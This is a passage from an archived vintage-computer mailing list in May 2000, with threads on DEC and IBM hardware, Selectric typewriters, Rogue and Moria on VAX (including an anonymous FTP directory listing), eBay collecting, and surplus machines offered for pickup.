grasp it fairly quickly. --Chuck George Rachor wrote: > > The space heater concept isn't lost on me here. The machines would go in > a fairly large garage. Winters would be fine. It is the summer that I > would worry about. > > George > > ========================================================= > George L. Rachor Jr. george@racsys.rt.rain.com > Beaverton, Oregon http://racsys.rt.rain.com > United States of America Amateur Radio : KD7DCX > > On Wed, 10 May 2000, Lawrence LeMay wrote: > > > > > > > Other ideas? > > > > Since the old computers will waste tons of electricity, while producing > > relatively no cpu power in comparison to a modern CPU chip, you should > > use your connected group as a space heater. > > > > > > > > Does this even make sense? > > > > Yes. The only 100% efficient electrical appliance, is a heater. Since > > by definition, it is supposed to convert electricity into waste, ie, > > heat or other forms that eventually will become heat ;) > > > > -Lawrence LeMay > > From donm at cts.com Wed May 10 19:03:05 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:51:39 2005 Subject: TK70 that Don Maslin has/had(?) In-Reply-To: <20000510231117.67172.qmail@hotmail.com> Message-ID: On Wed, 10 May 2000, Will Jennings wrote: > Hi, > Just thought I would say that if someone does get the TK70 from Don, I have > the controller (Qbus) available.. Can't guarantee that it works and I don't > have the cable, but it's better than nothing! > > Will J > ________________________________________________________________________ > Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com It is on its way to Chuck McManis even now. You might want to e-mail him off list, as he is out of town now. - don From richard at idcomm.com Wed May 10 19:02:45 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:39 2005 Subject: Ebay Altair References: Message-ID: <003901bfbadc$3ce56020$0400c0a8@winbook> I don't even like Whoppers, but you got me to thinking about food. Now I'll be nibbling for the rest of the evening. Dick ----- Original Message ----- From: Mike Ford To: Sent: Wednesday, May 10, 2000 2:24 PM Subject: Re: Ebay Altair > >of food. If you're in the habit of paying $1 for a hamburger, say, and > >someone else wants bo buy them all for $1.25, YOU may dislke that, but the > > Aaaah! Stop torturing me, we all know the 99 cent whopper is gone, don't > rub it in. > > From cisin at xenosoft.com Wed May 10 19:26:43 2000 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:51:39 2005 Subject: Keyboard actuator In-Reply-To: <4.3.0.20000510151437.0221def0@pc> Message-ID: On Wed, 10 May 2000, John Foust wrote: > Sounds like fun. How could it come close to hitting any key on any > keyboard? Are the solenoids positionable? Not quite ANY. It has a little bit of positional adjustment, but not much, and has provision for different key heights (for "Selectric", etc.). The good news is that key spacing is, for all practical purposes, standardized. Different key arrangements can be handled by swapping solenoids around, or in software. It only does the regular "alphanumeric" keys, and does not operate function keys, etc., even if they ARE where god intended. > Certainly in some situations, a parallel-to-serial conversion box > could capture the bitstream from an archaic computer. That route > would have the benefit of a buffer in most cases. Does this gizmo > have a buffer? Although it could be used for transferring FROM a machine whose only external manifestation is a centronics port, for THAT I would agree that a parallel to serial converter is simpler. If there is any buffer, it's surely no more than a few characters. Instead, it is using the paralel port handshaking signals. There are "inline" parallel printer buffers that would work with it. Serial port is fine IFF 1) there is one. not on the Merganthaler from hell. 2) there is appropriate software. a VERY common lack. Cabling is an inconvenience, but not a major obstacle. usually. > At 01:08 PM 5/10/00 -0700, Fred Cisin (XenoSoft) wrote: > >This is THE device that will transfer files to ANYTHING. IF you can stop > >laughing. > As such, it would be most useful for getting data *into* a system > that didn't have a way to import an ordinary text file. You could > even write filters to massage the stream in order to hit weird > key sequences to reformat the text. That's right. For routine transfer between relatively ordinary machines there are other ways. As you know, MY preferred method is reading and writing alien soft-sectored disk formats. But there are some machines for which NONE of the "reasonable" methods apply. (such as that Merganthaler typesetter) -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com 2210 Sixth St. (510) 644-9366 Berkeley, CA 94710-2219 From cisin at xenosoft.com Wed May 10 19:56:48 2000 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:51:39 2005 Subject: Keyboard actuator In-Reply-To: <003301bfbadc$09443660$0400c0a8@winbook> Message-ID: On Wed, 10 May 2000, Richard Erlacher wrote: > I knew someone who had one of these gadgets back in the '70's. He wore out > a selectric in about two weeks. I know a HUMAN typist who wore one out in ONE. (she could AVERAGE 150 words per minute over 8 hour days! Not the world's fastest, but close. At the end of the day, she barely had any remembrance of what she had typed.) It is vitally important that you not exceed 14.8 characters per second on Selectrics. The cheap home Selectrics are way too flimsy and short-lived for ANYTHING. Always get the "heavy duty" models. -- Grumpy Ol' Fred cisin@xenosoft.com From ethan_dicks at yahoo.com Wed May 10 20:00:48 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:51:39 2005 Subject: s100 busses! Message-ID: <20000511010048.2561.qmail@web614.mail.yahoo.com> --- Frank McConnell wrote: > Ron Hudson wrote: > > Does anyone still sell s100 based computers? > > Aren't they used still for process controll and automation? > > Some years ago (1994 or 1995 I think) someone posted an article to > alt.folklore.computers about a manufacturer of voting machines who was > still building their own S-100-based design for use in that > application. Sorry, I didn't save a copy of the article. The Center of Science and Industry (COSI) in Columbus has a corner of their new building set aside as a tribute to the old museum (c. 1964 - 1999). Part of it is a kiosk with the original computer equipment performing the original tasks for which they were programmed - a C-64 running a lemonaide stand simulation (c. 1983) and an S-100 box running a crime survey (c. 1979). In the old museum, these used to sit outside the "CIVIC" room, a DECSystem 2020 attached to the Compu$erve network providing computing services for non-profit organizations (The DEC-20 was decomissioned and reclaimed by CI$ many, many years ago). -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From zmerch at 30below.com Wed May 10 20:29:45 2000 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:51:39 2005 Subject: Keyboard actuator In-Reply-To: References: <003301bfbadc$09443660$0400c0a8@winbook> Message-ID: <3.0.1.32.20000510212945.00be2950@mail.30below.com> Rumor has it that Fred Cisin (XenoSoft) may have mentioned these words: >On Wed, 10 May 2000, Richard Erlacher wrote: >> I knew someone who had one of these gadgets back in the '70's. He wore out >> a selectric in about two weeks. > >I know a HUMAN typist who wore one out in ONE. >(she could AVERAGE 150 words per minute over 8 hour days! Not the >world's fastest, but close. At the end of the day, she barely had any >remembrance of what she had typed.) > >It is vitally important that you not exceed 14.8 characters per second on >Selectrics. >The cheap home Selectrics are way too flimsy and short-lived for ANYTHING. >Always get the "heavy duty" models. To bring this back on track... I could average 100-105 over a 5-6 hour period back in my heyday, and did if for around a month transcribing a few books into my Tandy 200... IMHO still the sweetest laptop keyboard ever. BTW, it must have been "heavy duty" as it's still working just fine. (I have a pretty light touch for typing...) See ya, "Merch" -- Roger "Merch" Merchberger --- sysadmin, Iceberg Computers Recycling is good, right??? Ok, so I'll recycle an old .sig. If at first you don't succeed, nuclear warhead disarmament should *not* be your first career choice. From zmerch at 30below.com Wed May 10 20:38:05 2000 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:51:39 2005 Subject: Rogue for VAX... In-Reply-To: <3919FAF7.296A0CC8@mcmanis.com> References: Message-ID: <3.0.1.32.20000510213805.009dbc00@mail.30below.com> Rumor has it that Chuck McManis may have mentioned these words: >Well, I'm using a VAX to teach my daughter C programming. She likes >having the "weird" computer all to herself. (I'll have to get after her >about playing rogue though :-) Where do you get Rogue for the VAX? Or, more appropriately, is it any good? Rogue for the CoCo was pretty good - Rogue for the IBM/PC sucked bigtime. (I hope that doesn't suprise you!;-) See ya, Roger "Merch" Merchberger P.S. I installed Tru64 Unix on my Alpha 150, but it wouldn't run right because I dinked with the partitioning during the install. So, I installed VMS/Alpha 7.21 on it, but I forgot you can't use a 2G drive for VMS on the boot drive... so I installed a 1G drive instead, installed VMS/Alpha, and it *still* wouldn't boot... Am I stupid, or what? (I know, I don't have any error messages - it's at home, I'm at work, so I'll followup with more info when I get it)... -- Roger "Merch" Merchberger --- sysadmin, Iceberg Computers Recycling is good, right??? Ok, so I'll recycle an old .sig. If at first you don't succeed, nuclear warhead disarmament should *not* be your first career choice. From CLASSICCMP at trailing-edge.com Wed May 10 21:26:46 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:51:39 2005 Subject: Rogue for VAX... Message-ID: <000510222646.2020c231@trailing-edge.com> >Where do you get Rogue for the VAX? I do believe that some of the latest "standard" versions just plain compile under VMS. You'll need a C compiler and a MMK-type make utility. I also believe nethack is available, too. A different branch off the Rogue evolutionary tree is Moria. There are many versions of this floating around... most notably: $ ftp ubvms.buffalo.edu/anon MadGoat FTP client V2.6-1 %FTP-I-ATTEMPTING, Attempting to connect to host ubvms.buffalo.edu <220 ubvms.cc.buffalo.edu MultiNet FTP Server Process V4.2(16) at Wed 10-May-200 0 10:25PM-EDT %FTP-I-LOGIN, Attempting to login to user anonymous <331 anonymous user ok. Send real ident as password. <230-Guest User SHOPPA@TIMAXP.TRAILING-EDGE.COM logged into SYS$SYSDEVICE:[FTP] at Wed 10-May-2000 10:25PM-EDT, job 1f46. <230 Directory and access restrictions apply FTP:ubvms.buffalo.edu> cd maslib <250 Connected to SYS$SYSDEVICE:[FTP.MASLIB]. FTP:ubvms.buffalo.edu> cd games <250 Connected to SYS$SYSDEVICE:[FTP.MASLIB.GAMES]. FTP:ubvms.buffalo.edu> dir *moria* <200 Stru F ok. <200 Port 61.7 at Host 63.73.218.130 accepted. <150 List started. SYS$SYSDEVICE:[FTP.MASLIB.GAMES] IMORIA.DIR;1 7 18-NOV-1997 14:41 [TKSLEN] (RWED,RWED,R,R) MORIA_443.DIR;1 5 18-NOV-1997 14:42 [TKSLEN] (RWED,RWED,R,R) MORIA_480.DIR;1 5 18-NOV-1997 14:42 [TKSLEN] (RWED,RWED,R,R) MORIA_500.DIR;1 6 18-NOV-1997 14:42 [TKSLEN] (RWED,RWED,R,R) UMORIA.DIR;1 5 18-NOV-1997 14:43 [TKSLEN] (RWED,RWED,R,R) >P.S. I installed Tru64 Unix on my Alpha 150, but it wouldn't run right >because I dinked with the partitioning during the install. So, I installed >VMS/Alpha 7.21 on it, but I forgot you can't use a 2G drive for VMS on the >boot drive... so I installed a 1G drive instead, installed VMS/Alpha, and >it *still* wouldn't boot... Am I stupid, or what? Huh? Since when does an Alpha have the 1G boot drive limitation? This limitation only applies to some of the older VS3100's, AFAIK. -- Tim Shoppa Email: shoppa@trailing-edge.com Trailing Edge Technology WWW: http://www.trailing-edge.com/ 7328 Bradley Blvd Voice: 301-767-5917 Bethesda, MD, USA 20817 Fax: 301-767-5927 From jrkeys at concentric.net Wed May 10 21:37:30 2000 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:51:39 2005 Subject: Searching for PS/2-E (9533-DB7) reference diskette References: <20000510051817.22542.qmail@web612.mail.yahoo.com> Message-ID: <021e01bfbaf1$dba0dae0$c8731fd1@default> Have you tried IBM in Germany they still list most of the older set-up and reference disk that IBM here the States no longer store on their web site ? I have use it to download a few disk for my old ps/2's. Good Luck John ----- Original Message ----- From: Ethan Dicks To: classiccmp list Sent: Wednesday, May 10, 2000 12:18 AM Subject: Searching for PS/2-E (9533-DB7) reference diskette > > I know it's not _quite_ 10 years old, but it's getting there. The principle > of attraction has worked and my IBM quad-PCMCIA card has attracted a couple > of hosts - a PS/2-E that it originally came out of. I have been to the IBM > support site - no concrete references to the PS-2/E. I have located reference > diskettes for all sorts of IBM-brand products, but not the 9533. It's > distinguishing features include a low-power design with one ISA slot for this > quad-PCMCIA card to minimize peripheral draw. Additionally, it uses a 2.5" > laptop disk (120Mb) and only has one serial port. As shipped from IBM, there > was an LCD panel for a monitor, but I've never seen that part in person, only > in old ads. > > Does anyone have a disk image they can ship me, or a pointer to an image > somewhere? I'm thinking of turning this into a router box. I have the > PCMCIA NICs to do it with. > > Thanks, > > -ethan > > > ===== > Even though my old e-mail address is no longer going to > vanish, please note my new public address: erd@iname.com > > The original webpage address is still going away. The > permanent home is: http://penguincentral.com/ > > See http://ohio.voyager.net/ for details. > > __________________________________________________ > Do You Yahoo!? > Send instant messages & get email alerts with Yahoo! Messenger. > http://im.yahoo.com/ > From allisonp at world.std.com Wed May 10 20:15:27 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:39 2005 Subject: Getting all the system connected... Message-ID: <004c01bfbaec$db9cfc90$6e64c0d0@ajp166> >Assumeing you could get them connected what nobel project could this mass >of diversified machines be commissioned to do? Obviously they are way too >slow to do Seti@home (Wouldn't it be a kick if a really old machine found >something significant?) but surely there could be some project that could >be engineered to be useful? One that naturally comes to mind is file conversion/transfer. I'ts the primary use here. Another could be using the common node as the terminal to any of the connected clients. >Does this even make sense? Yes. From af-list at wfi-inc.com Wed May 10 22:17:16 2000 From: af-list at wfi-inc.com (Aaron Christopher Finney) Date: Sun Feb 27 18:51:39 2005 Subject: Really Why I Hate eBay In-Reply-To: Message-ID: On Wed, 10 May 2000, foo wrote: > Before eBay I was able to build a fairly significantly collection through > a lot of hard work. This included a lot of searching, a lot of walking, a > lot of driving, a lot of bargaining, lot of hauling, some sweat, some > blood, perhaps a few tears, etc. Through all this hard work I was able to > amass a very nice collection of historical computer artifacts. It took > some money as well, but the journey was the reward as they say. I think I read something about this in Campbell's 'Hero With a Thousand Faces'... Aaron From jfoust at threedee.com Wed May 10 22:51:36 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:51:39 2005 Subject: TN 55xy Available In-Reply-To: Message-ID: <4.3.0.20000510225011.01f45f00@pc> "Free? Did somebody say 'Free'?", he said in his best Jambi voice. This message is from a microscope enthusiast list. I have no idea what this is, but it's got 8 inch drives, so it must be a computer, right? - John At 12:59 PM 5/10/00 -0400, Robert Wieland wrote: >------------------------------------------------------------------------ >The Microscopy ListServer -- Sponsor: The Microscopy Society of America >To Subscribe/Unsubscribe -- Send Email to ListServer@MSA.Microscopy.Com >On-Line Help http://www.msa.microscopy.com/MicroscopyListserver/FAQ.html >-----------------------------------------------------------------------. > > > Free to anyone who will take it away, a Tracor-Northern 55xy (not sure >which member of the 5500 family) console unit, with keyboard but without >monitor. Has two 8" drives on the front. A few manuals & floppies of >software go with it. This was once used at another site to run the WDS on >a JEOL 840, but has been sitting here unconnected in a corner for several >years. It is complete (has had nothing taken out of it), but condition is >otherwise unknown. > Located at the University of Delaware, in Newark, Delaware, about five >miles off I95. > Respond to wieland@me.udel.edu > >Robert Wieland wieland@me.udel.edu >The very concept of human governance is a moral dilemma: >If the people are good, it is a mistake to create authorities over them; >If they are not good, it is a mistake to create authorities out of them. > > > From mikeford at socal.rr.com Wed May 10 22:15:30 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:39 2005 Subject: Ebay Altair In-Reply-To: References: <3.0.2.32.20000510135011.00699340@postoffice3.mail.cornell.edu> Message-ID: >I guess that article on where to find old computers that I've been meaning >to write is still very relevant. I'll dust it off and finish it up. No need for an article, just pass out http:/www.ebay.com Seriously, the last thing I want is some "new" people to find all my favorite haunts. From mikeford at socal.rr.com Wed May 10 22:25:29 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:39 2005 Subject: Getting all the system connected... In-Reply-To: References: Message-ID: What I always envisioned was some kind of traveling road show for old computers. Something not too hard to setup and take down that would maybe run some networked games etc. and show people what it was like in the "old" days. Another idea I had was similar using compact macs, like the SE or SE/30, and a traveling setup for demos of the net, email etc. From rws at enteract.com Wed May 10 23:36:11 2000 From: rws at enteract.com (Richard W. Schauer) Date: Sun Feb 27 18:51:39 2005 Subject: Mainframe DASD available in chicago area In-Reply-To: Message-ID: > IBM 3880 qty. 1 > IBM 3380 K qty. 2 Whereabouts are these things? I work in the far northwest suburbs. Is it a get it right now or they'll be scrapped thing, or is there time? Are they someplace where they can be looked at? I might be interested. Thsnks, Richard From sethm at loomcom.com Thu May 11 01:09:20 2000 From: sethm at loomcom.com (sjm) Date: Sun Feb 27 18:51:40 2005 Subject: Evil VAXstation 3100 disk mounting gaskets! Message-ID: <20000510230920.A4917@loomcom.com> Hey all, I've got a question for DECheads out there who are familiar with the VAXstation 3100 (and DECstation 3100, for that matter) series of DEC systems. These little beasts don't use mounting brackets like the rest of the desktop computer universe. They instead rely on the little screw holes located on the bottom of standard 3.5" form factor harddrives, and these really INSIDIOUS LITTLE RUBBERIZED GASKETS that you wedge into various mount-holes on a metal plate inside the VAXstation's case. The drive sits on these gaskets, you see, and gets insulated from the scary conductive metal plate, while still getting a little airflow under the electronics. I'm ALWAYS missing at _least_ one gasket whenever I want to mount a drive. Often, I'm missing all four of them at once, making life terribly difficult. I've resorted to using non-conductive washers and screws with _really_ big heads to kind of work around it, but it's a sub-optimal solution. Does anyone know where to get these little guys? Did DEC have a part number for them? Or are they a common part available at your local Fry's Electronics, and I just haven't found them yet? I really need some, you see. Thanks for any (and all) help! -Seth -- "As a general rule, the man in the habit of murdering | Seth Morabito bookbinders, though he performs a distinct service | sethm@loomcom.com to society, only wastes his own time and takes no | personal advantage." -- Kenneth Grahame (1898) | Perth ==> * From vcf at siconic.com Thu May 11 00:27:38 2000 From: vcf at siconic.com (Vintage Computer Festival) Date: Sun Feb 27 18:51:40 2005 Subject: Compaq portable Message-ID: Here's a guy with a Compaq portable up for grabs. Please contact the original sender. Reply-to: N5TZR@TDF.NET ---------- Forwarded message ---------- Date: Thu, 11 May 2000 00:16:27 -0500 From: Michael Cedeck To: donate@vintage.org Subject: courious if ya want it... I have a old compac portable, (lugable). the early version of a laptop, the one with the keyboard in the bottom , built in monitor, floppy drive. Michael n5tzr@tdf.net Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... VCF Europe: April 29th & 30th, Munich, Germany VCF Los Angeles: Summer 2000 (*TENTATIVE*) VCF East: Planning in Progress See http://www.vintage.org for details! From dpeschel at eskimo.com Thu May 11 03:03:46 2000 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 18:51:40 2005 Subject: Keyboard actuator In-Reply-To: from "Fred Cisin (XenoSoft)" at May 10, 2000 05:56:48 PM Message-ID: <200005110803.BAA22993@eskimo.com> Fred Cisin wrote... > It is vitally important that you not exceed 14.8 characters per second on > Selectrics. ... or what? Does the Balls-O-Meter wear out? :) From s.d.birchall at pgr.salford.ac.uk Thu May 11 03:40:11 2000 From: s.d.birchall at pgr.salford.ac.uk (Stu) Date: Sun Feb 27 18:51:40 2005 Subject: reflections on ebay References: Message-ID: <005b01bfbb24$85670040$160917d4@zen.co.uk> I can't agree that Ebay is unfair, assuming everyone is familiar with the rules. The auction system itself is prone to manipulation however, and I dislike the practice of sniping, as a flurry of bids in the last minute of an auction reduces it to little more than a lottery based on "who can click on the button in the last possible instant". Ebay is also not responsible for the "Industrialisation of nostalgia", it is merely a manifestation of it. We have more money or "stored work units" as one poster put it, but disproportionately less leisure time with which to expend it. Nostalgia is compelling and services like e-bay can re-acquaint ourselves with lost youth in a satisfyingly compressed timeframe with the minimum amount of effort. Not being involved in the "hunt" for that treasured artifact should be differentiated from the intellectual exercise of learning about it and understanding its significance; people can enjoy collections without physically assembling them through luck and physcial effort - though these things are satisfying in themselves (as we all know). What everyone can agree on is the limited value of collecting without intellectual exercise, when collecting becomes "material acquisition". This is unsatisfying for the collector and the artifacts, and is a reflection of the materialistic society in which we live and have always lived. Those who do not really understand computer collecting would argue that emulation renders collecting of old machines unecessary - after all, what is it you are collecting? The physical machine, or the patterns of its organisation, architecture and execution? Comments please.. From jolminkh at nsw.bigpond.net.au Thu May 11 07:18:41 2000 From: jolminkh at nsw.bigpond.net.au (Olminkhof) Date: Sun Feb 27 18:51:40 2005 Subject: Fw: Digital PDP11 Message-ID: <00f901bfbb43$0cc05f00$dadf8490@tp.nsw.bigpond.net.au> Can anybody in Europe help these people? -----Original Message----- From: misbrieuc@wanadoo.fr Newsgroups: aus.computers Date: Wednesday, 10 May 2000 0:37 Subject: Digital PDP11 >Good afternoon, > > >We use a Digital pdp 11, model 04 for the application of process >piloting. > >People who have been working in the firm for a long time will remember >that: > >We lack kit pieces in order to keep this material working. > >The research with the computer brokers brings no results. > >I'm therefore looking for one pdp 11 or some change pieces, in our >companies' cupboards. > >Thank you for your help. > > > > >PS: of course, the managed application is critical for the company and >the replacement of the functions cared by the calculator would be too >expensive. > From bbrown at harper.cc.il.us Thu May 11 07:15:48 2000 From: bbrown at harper.cc.il.us (Bob Brown) Date: Sun Feb 27 18:51:40 2005 Subject: Mainframe DASD available in chicago area In-Reply-To: References: Message-ID: > > IBM 3880 qty. 1 > > IBM 3380 K qty. 2 > >Whereabouts are these things? I work in the far northwest suburbs. Is it >a get it right now or they'll be scrapped thing, or is there time? Are >they someplace where they can be looked at? I might be interested. > >Thsnks, >Richard I'll pass this on to my friend. -Bob Bob Brown Saved by grace Intranet Sysadmin Page: http://info1.harper.cc.il.us/~bbrown From rigdonj at intellistar.net Thu May 11 08:38:00 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:40 2005 Subject: DEC stuff Message-ID: <3.0.1.16.20000511083800.25d754f0@mailhost.intellistar.net> Hi, I was helping to sort a load of surplus test equipment yesterday and found a couyple of DEC computers. Since I'm not a DEC head I don't know anything about them so can someone tell me more about them and if they're worth rescueing. The first is a DEC Por 350, there are two of them. The other is is a Micro PDP 11/73. Both are roughly the size of a large tower case for a PC. There's also a VAX 11/785 there but it's huge! Joe From RCini at congressfinancial.com Thu May 11 07:41:54 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:51:40 2005 Subject: Persistence of Vision (was Re: Cool hack (was Busses vs no busses )) Message-ID: <497A9E0467D2D2119B760090271EB8E50E90F1@MAIL10> Well, it must have been a brain fart. I can't find the article at all. Not in PE, EN, CirCellar, or N&V. I have no idea where I saw it. I did come across a project for the BS1 in "Programming and Customizing the Basic Stamp Computer" by Scott Edwards (p. 87) for a POV message machine. It wouldn't be too hard to add a Dallas serial clock and change the code to make a clock. Rich -----Original Message----- There was a project just for this in Electronics Now or Popular Electronics just recently. I'd say Feb. or March issue. If I have time tonight, I'll dig-up the article. As I recall, it uses a PIC and a group of LEDs on a pendulum to provide the date and time using the same "persistence of vision" as mentioned below. I don't recall if the swinging was user-invoked, motorized or magnetic. Rich ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) -----Original Message----- From: Marvin [mailto:marvin@rain.org] Sent: Tuesday, May 09, 2000 11:06 AM To: classiccmp@classiccmp.org Subject: Re: Cool hack (was Busses vs no busses) John Foust wrote: > > What's the name of those signs that are composed of nothing but > a single vertical column of LEDs, where you can only see the > image (or the digital clock display, etc.) as your eye scans > across it, leaving the multiplexed image in your brain? I can't recall either, but that brings to mind an interesting project a friend of mine worked on quite a few years ago. The Art Museum here was having some kind of show and an artist wanted to paint electronic pictures. My friend designed the electronics (I built the circuit boards) to put a line of LEDs on a pendulum and paint pictures electronically as the pendulum swung through its arc. With the multi-colored and higher intensity LEDs available today, it would be really cool to do the same thing but with color pictures. Doesn't sound like too hard a project especially with the speed of todays computers. ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) From allisonp at world.std.com Thu May 11 08:33:55 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:40 2005 Subject: Keyboard actuator In-Reply-To: <200005110803.BAA22993@eskimo.com> Message-ID: > Fred Cisin wrote... > > It is vitally important that you not exceed 14.8 characters per second on > > Selectrics. > > ... or what? Does the Balls-O-Meter wear out? :) Like most typewriters it's mechancical and if driven to fast it will jam and do bad things. allison From allisonp at world.std.com Thu May 11 08:40:29 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:40 2005 Subject: DEC stuff In-Reply-To: <3.0.1.16.20000511083800.25d754f0@mailhost.intellistar.net> Message-ID: > worth rescueing. The first is a DEC Por 350, there are two of them. The Pro350, small system uses a tube and keyboard has internal PDP-11 cpu of the F11 flavor. Somewhat common around here rare in some areas. Nice machine. > other is is a Micro PDP 11/73. Both are roughly the size of a large tower Qbus pdp-11 in BA23 pedestal box, J11 cpu fairly fast for it's kind. Common enough. I'd be interested in the cpu as a spare. The boards have some cash value. there are still plenty of PDP-11s in use. > case for a PC. There's also a VAX 11/785 there but it's huge! Scarce, not that many built and most were retired at lesat 10 yeas ago. Last member of the 11/7xx series that started the vax line. allison From ethan_dicks at yahoo.com Thu May 11 09:08:21 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:51:40 2005 Subject: Keyboard actuator Message-ID: <20000511140821.14942.qmail@web611.mail.yahoo.com> --- Derek Peschel wrote: > Fred Cisin wrote... > > It is vitally important that you not exceed 14.8 characters per second on > > Selectrics. > > .... or what? Does the Balls-O-Meter wear out? :) As tank-like as the Selectrics are, you really _can_ wear them out. My mother used to make her living typing court transcripts (in the evenings, from the tapes the court reporters make during the day). One time, she took her IBM Selectric II to a new shop for minor repair and adjustment. The shop owner commented that he'd never seen wear on certain parts until then. When the job was done, he asked her to try it out in the store. About a minute into the machine-gun reverie, he commented that the two of them were going to become fast friends. He was right. She took one of her two machines to the shop at least once or twice per year. I don't know how fast she typed, but it was well in excess of 100 wpm. 14.8 cps - it's not the law, just a good idea. -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From pechter at pechter.dyndns.org Thu May 11 09:56:30 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:40 2005 Subject: DEC stuff In-Reply-To: from "allisonp@world.std.com" at "May 11, 2000 09:40:29 am" Message-ID: <200005111456.KAA00588@bg-tc-ppp994.monmouth.com> > > > case for a PC. There's also a VAX 11/785 there but it's huge! > > Scarce, not that many built and most were retired at lesat 10 yeas ago. > Last member of the 11/7xx series that started the vax line. > > allison > > > Gee 11/785's were very common with almost all the commercial 11/780's being upgraded to either 11/785's or the 11/780-5 wierd front panel. I believe the difference was FCC RF emission cabinet issues. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From marvin at rain.org Thu May 11 10:16:09 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:51:40 2005 Subject: reflections on ebay References: <005b01bfbb24$85670040$160917d4@zen.co.uk> Message-ID: <391ACEB9.6D3AEAB6@rain.org> Stu wrote: > > I can't agree that Ebay is unfair, assuming everyone is familiar with the > rules. The auction system itself is prone to manipulation however, and I > dislike the practice of sniping, as a flurry of bids in the last minute of > an auction reduces it to little more than a lottery based on "who can click > on the button in the last possible instant". Sniping (bidding in the last seconds of the auction) is an on-going argument that has some strong opinions on both sides. It is most certainly NOT a lottery or even close. It does take advantage, or perhaps even promote, ignorant (of the item value) bids. Sniping would be totally worthless if people would bid what they are *willing* to pay rather than what they are *hoping* to pay. > Ebay is also not responsible for the "Industrialisation of nostalgia", it is > merely a manifestation of it. We have more money or "stored work units" as > one poster put it, but disproportionately less leisure time with which to > expend it. Nostalgia is compelling and services like e-bay can re-acquaint > ourselves with lost youth in a satisfyingly compressed timeframe with the I have thought about that it a bit. The question arises: is it nostalgia, or is it the desire to collect the main factor behind what prices an item will bring? I don't consider usage of older equipment a good reason for higher prices. An Altairs, etc. do not have a lot of practicaL value by themselves since "better" machines are available at far less cost with far more support. From emu at ecubics.com Thu May 11 11:22:20 2000 From: emu at ecubics.com (emanuel stiebler) Date: Sun Feb 27 18:51:40 2005 Subject: Evil VAXstation 3100 disk mounting gaskets! References: <20000510230920.A4917@loomcom.com> Message-ID: <00f001bfbb65$17850db0$5d01a8c0@p2350> From: sjm > harddrives, and these really INSIDIOUS LITTLE RUBBERIZED GASKETS > that you wedge into various mount-holes on a metal plate inside > the VAXstation's case. The drive sits on these gaskets, you see, > and gets insulated from the scary conductive metal plate, while > still getting a little airflow under the electronics. > > I'm ALWAYS missing at _least_ one gasket whenever I want to mount > a drive. Often, I'm missing all four of them at once, making life > terribly difficult. I've resorted to using non-conductive washers > and screws with _really_ big heads to kind of work around it, > but it's a sub-optimal solution. > > Thanks for any (and all) help! Go to the next hardware store, and check with them about this little rubber pieces (gaskets ?) which are used in faucetts. They are not really original DEC parts ;-), but they work for me. And they are available in many different sizes & shapes. cheers & hope it helps, emanuel From rigdonj at intellistar.net Thu May 11 12:25:16 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:40 2005 Subject: Dec stuff, what's the deal? Message-ID: <3.0.1.16.20000511122516.268f6a44@mailhost.intellistar.net> At 08:38 AM 5/11/00 -0500, I wrote: > >Hi, > > I was helping to sort a load of surplus test equipment yesterday and found a couyple of DEC computers. Since I'm not a DEC head I don't know anything about them so can someone tell me more about them and if they're worth rescueing. The first is a DEC Por 350, there are two of them. The other is is a Micro PDP 11/73. Both are roughly the size of a large tower case for a PC. There's also a VAX 11/785 there but it's huge! > A lot of people responded to my posting and asked "what's the deal" on the 11/73 and 350, so I thought I'd explain the whole situation here. These machines just came out of Martin Marietta. For the ones of you that don't recognize the name, they are the largest defense contractor in the US. They were taken out of the MM plant yesterday morning with a huge load of surplus test equipment. I helped unload, sort and test the stuff yesterday afternoon (and half the night!) I don't know anything about DEC stuff but I thought these looked worthwhile so I grabbed the 11/73 and one of the 350s and separated them from the usual load of PC crap. They still belong to the test equipment dealer but he knows nothing about 